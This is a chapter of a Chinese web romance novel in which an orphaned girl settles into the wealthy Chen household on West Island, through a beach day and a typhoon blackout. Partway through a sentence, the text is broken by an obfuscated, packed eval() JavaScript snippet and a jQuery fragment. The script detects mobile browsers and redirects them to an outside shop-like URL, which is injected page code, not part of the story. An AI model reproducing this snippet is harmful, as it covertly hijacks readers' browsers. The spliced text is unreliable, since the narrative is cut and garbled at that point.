9. 月缺

作品:《月落秋枝

    赵旻枝以陈家夫妇侄女的身份正式开启了在西岛的生活。


    这是一个反复刷新她认知的地方,普通人为止奋斗一生的东西,有些人从一出生开始就有了。比如,陈月竹和陈月柏。


    所以从踏入陈家的那天起,赵旻枝就牢记这一点,她和他们不一样。因为不一样,所以她知道,她应该扮好一个乖巧懂事的角色。


    那份曾经存在于市井中的、如嶙峋原石般的自由明媚,在宛若璀璨宝珠的西岛陈家,都被她自我切割掉,只剩下无可挑剔的部分。


    但赵旻枝也有自己的心思。就陈家两兄弟而言,她更倾向于陈月竹。


    他知书达理,行为举止稳重妥帖,用“绅士”形容,也不足以体现他的温润儒雅。


    赵旻枝觉得,没人不会欣赏陈月竹。


    八月上旬,陈彦华计划去德国出差,还要带上温慈树。因为他始终放心不下温慈树的身体,执意要带她去德国再全面复查一遍。


    陈家夫妇离开前,叮嘱陈月竹照顾好弟弟妹妹,还提到,他们的表妹陈沛妮要来西岛玩几天,要他和陈月竹好好招待她。


    于是,在一个风和日丽的早晨,赵旻枝见到了从法国回来的陈沛妮。


    她的皮肤是均匀的小麦色,举手投足间尽显开朗外放。


    陈月竹和陈月柏很热情地接待陈沛妮,三兄妹说说笑笑时,赵旻枝就站在不远处。


    理智告诉她,她应该过去打招呼,但情感却拖拽着她凝在原地,从头到脚都散发着拘窘和局促。


    陈沛妮才是他们真真正正的、有血缘关系的表妹,她不过是个局外人。


    这些举动,都被陈月柏的余光所捕获。


    “赵旻枝,你还站在那里干什么?过来啊。”


    散漫不着调的声音融入微风,吹进她的双耳,如燎原般点燃她窘迫与尴尬,脸色冒出不自然的红,


    她诧眼望向陈月柏,对方却没有接受她的视线。


    赵旻枝悻悻低下头。陈月竹和陈沛妮也朝她看来,她这才走过去,心底蔓延开无限的懊恼。


    刚才那番扭捏的模样,肯定是被陈月柏发现了,所以他才会用那样的语气说话。


    这个家,她最不想惹到的,就是陈月柏。


    毕竟,她已经见识过他在家横冲直撞、目中无人的做派了。


    陈月竹担任起介绍人:“沛妮,这位就是旻枝。”


    陈沛妮双眸很亮很黑,上下打量她时,眼波流转,灵动得像一汪泉水,很热情地招呼道:“Hello,我叫陈沛妮,很早就听说过你啦!”


    “你好,我叫赵旻枝。”她很生硬地回应对方,脸上堆挤出机械的笑,一副不会社交的硬邦邦模样。


    可事实上,她以前不是这样的。


    以前的她,很热衷于认识新的人和物。


    陈沛妮并没有被赵旻枝的冷淡浇灭热情,反而开始好奇面前这个瘦瘦弱弱的女孩。以往新认识的人,在得知她的身份后,都很愿意和她结交,甚至可以说是争先恐后。


    可赵旻枝却是与之相反。


    或许她天生的性格就这样,一个内敛的女孩,还是失去了唯一的父亲,怎么想都很可怜。


    陈沛妮就这样在西岛住了下来。


    没了陈彦华的约束,陈月柏和陈沛妮的精神劲儿,足以把整个西岛给闹翻天的。两个人誓要把所有有趣的事情干一遍才肯罢休。


    每到这个时候,赵旻枝就充当一个观众,就算连最稳重的陈月竹被他们拉去玩儿,她也是摆摆手说,他们玩开心就好。


    整个世界都是开心的,除了她。


    好在有陈月竹。


    他回到她身旁坐下,问:“你真的不打算和他们一起玩吗?”


    不远处的海滩,朵朵浪花卷来,陈月柏正和陈沛妮互相朝对方浇水。


    似曾相识的场景,只不过主角是她和她的父亲。


    赵旻枝看得入神,如梦初醒般地一惊,抿嘴看向陈月竹,摇摇头:“竹哥哥,你不用管我,你也去玩吧。”


    “没关系,我陪你就好。沛妮有阿柏陪她疯就够了。”


    陈月竹的声音比轻轻的海风还温柔。


    赵旻枝没再推诿,心念如被风鼓动的船帆。


    她能在西岛安稳下来离不开陈月竹的格外关照,每当她忧郁难过时,他总会出现。


    倏然,远处海港的建筑物内传来震耳欲聋的低沉声,像山林间的猛兽低吼。


    几个人的注意力都被吸引过去。


    陈沛妮叉着腰,不禁问:“那是什么地方?”


    陈月竹和陈月柏都说不清楚。


    “州澜第二船厂。”


    陈沛妮满眼惊奇地看向罕见开口的赵旻枝,追问:“你怎么知道?”


    “我父亲以前在里面工作。”


    气氛无端陷入沉默。


    接近黄昏时分,水天相接处,白昼与大海做着最后的吻别,漫天橙黄的霞光映照出赵旻枝眼底的无尽哀伤。


    片刻后,她意识到自己的失态,不该提起自己的父亲,扰了大家愉快的兴致,便起身说:“我先回去了,你们继续玩,等会儿要晚饭了,我让海叔来叫你们。”


    说完,她头也不回地朝别墅方向冲回去。


    “赵……”陈月柏抬手做出想阻拦她的动作,却来不及拦下她。他回到岸边,穿上鞋,准备去追她,


    陈月竹阻拦道:“你让她一个人静一会儿。”


    “不行,我要去看看。”


    “月柏哥,你就让她一个人待一会儿吧。”陈沛妮也说道。


    陈月柏只得作罢。


    往回走时,陈沛妮凑到他身边,用无比惋惜的语气道:“她好可怜。一个人孤苦无依,性格也这么内敛,总是呆呆的。”


    前一句同情的话,陈月柏表示赞同,但后一句说赵旻枝呆,他就有不同的意见:“她以前不是这样的。”


    “什么?”陈沛妮惊讶,“你以前又没见过她,你怎么知道她是什么样的?”


    陈月柏想起他在陈彦华书房里看见的照片,那张灿烂明媚的笑脸。


    但他没有提起这些,只说:“我感觉的……猜的。”


    “猜的?你什么时候会去猜别人的心思了?应该是别人猜你的行事做派才对。”陈沛妮边笑边打趣地问他,“以后你就要和她一起生活,你不会觉得不自在吗?”


    陈月柏很坦然:“是有点。不过我……”


    “阿柏,沛妮,快上来,要涨潮了。”海叔的呼唤声打断了他的话。


    陈沛妮招手回应:“来啦!”便兴冲冲地往前跑去。


    至于陈月柏后半截的“我愿意她留在家里”的话她有没有听清,他就不得而知了。


    -


    那晚的后半夜,一场台风不期而至。


    州澜气象台一再提醒,非必要不要外出。


    暴雨如注,清刷着整座城市。雨滴在窗户玻璃上汇聚成汩汩流水,像透明的脉搏。


    赵旻枝站在落地窗前,用食指描摹窗上雨的纹路。


    以前,台风来时,她总担心,狂风暴雨会将自家的小房子掀翻。而现在,她不会有这种担心了。


    西岛的别墅很坚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641090|156432||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    固,经得起任何风吹雨打。


    大雨持续一天,直到天黑,雨势也不见丝毫减弱。


    更要紧的是,西岛意外停电了。


    海叔跟电力部门打了好几通电话才接通,对方说包括西岛这一片区在内的地区,被台风刮掉了电缆,估计要明天才能抢修完成。


    这个夜晚注定是要摸黑的。


    赵旻枝早已习惯这种没有电的黑夜,每次有台风,淮明巷一定会停电,所以每到夏天,她就和父亲在家备好了蜡烛。


    而对于少见这种情况的陈沛妮来说,在停电夜的兴奋后,只剩下恐慌。


    她不敢一个人睡觉。


    “你胆子不是挺大的吗?连蹦极都敢。”陈月柏拿着手电筒,面朝天花板晃来晃去,像酒吧里蹦迪的激光灯。


    陈沛妮被激到,故作强势地说:“我不是怕黑,只是这个雨下这么大,我晚上睡不着,想找人说话。”


    “啪嗒”一声,陈月柏关闭了手电筒。


    赵旻枝眼前闪过如老电视机上的雪花小点,就在瞳仁慢慢适应黑暗的环境时,陈月柏又打开了手电筒。


    光照下,陈沛妮慌乱得如同被雨淋过的麻雀。


    又是“啪嗒”一声,手电筒再次被关闭。


    忽明忽暗,赵旻枝只觉眼睛发累,并且陈沛妮的惊叫和威胁声,以及陈月柏的笑声在耳边此起彼伏,两个人在她周围你追我赶。


    她额角青筋一现,从沙发上起身,准备帮陈沛妮逮住罪魁祸首,好让自己的眼睛和耳朵都清净。


    陈沛妮仿佛有夜盲症,连方位都分不清。


    陈月柏躲在椅子后,故意低沉嗓音逗她,感觉有人在碰自己的肩膀,便转过头来,以为是陈月竹来了。


    视线触碰的那一刻,他眼神怔然。


    两人的鼻尖止于一缝的距离。黑暗中,身体的所有感官都达到敏感巅峰,温热的鼻息落在彼此的脸上,酥麻的电流感不受控制地流向全身,最终汇聚在心脏的位置。


    赵旻枝双眼亮灿灿的,和照片上一样。


    意识到自己离他太近,赵旻枝向后退一步,脚后跟却抵在另一把椅子的边角,整个人不受控制地朝后仰去。


    眼看就要摔得乱七八糟,陈月柏眼疾手快地拉住她的手,再使劲往自己怀里一拽。


    她顺势撞进他的怀里,脸贴在胸口处。


    和陈月竹宽厚温暖的怀抱不一样,陈月柏的心跳太快了。


    像夏日极速闪烁的萤火,充满热烈的自由生气。


    是和她曾经相似的心跳。


    刹那间,陈老太太的话如鬼魅般在赵旻枝耳边回响。她的瞳仁瞬间扩张,猛然将陈月柏推开,惊慌羞赧之余,还不忘看向陈沛妮。


    幸好,陈沛妮还是一副找不着北的模样,听见这边的动静,还以为是陈月柏想扮鬼吓她,便威胁他赶快开灯,不然叫他好开。


    倏然,一道白色的光亮照下来,似在黑暗中划开一道耀眼的裂缝。


    客厅如旧,仿佛刚才什么都没发生,那个意外的拥抱也不存在。


    赵旻枝抬头仰望三楼,是陈月竹。


    即使他的面庞模模糊糊,但依旧能感觉到,一身温润如玉宛若慈悲的救世主。


    陈月竹语气严厉,用兄长的口吻命令说:“阿柏,不许胡闹,沛妮和旻枝会害怕,快把手电筒打开。”


    陈月柏竟是罕见地听话,打开手电筒,交到陈沛妮手里。任由陈沛妮打骂,他都不还手。


    赵旻枝的心跳仍未平复,她确信,自己此刻剧烈的心跳,是因为陈月竹。


    肯定是。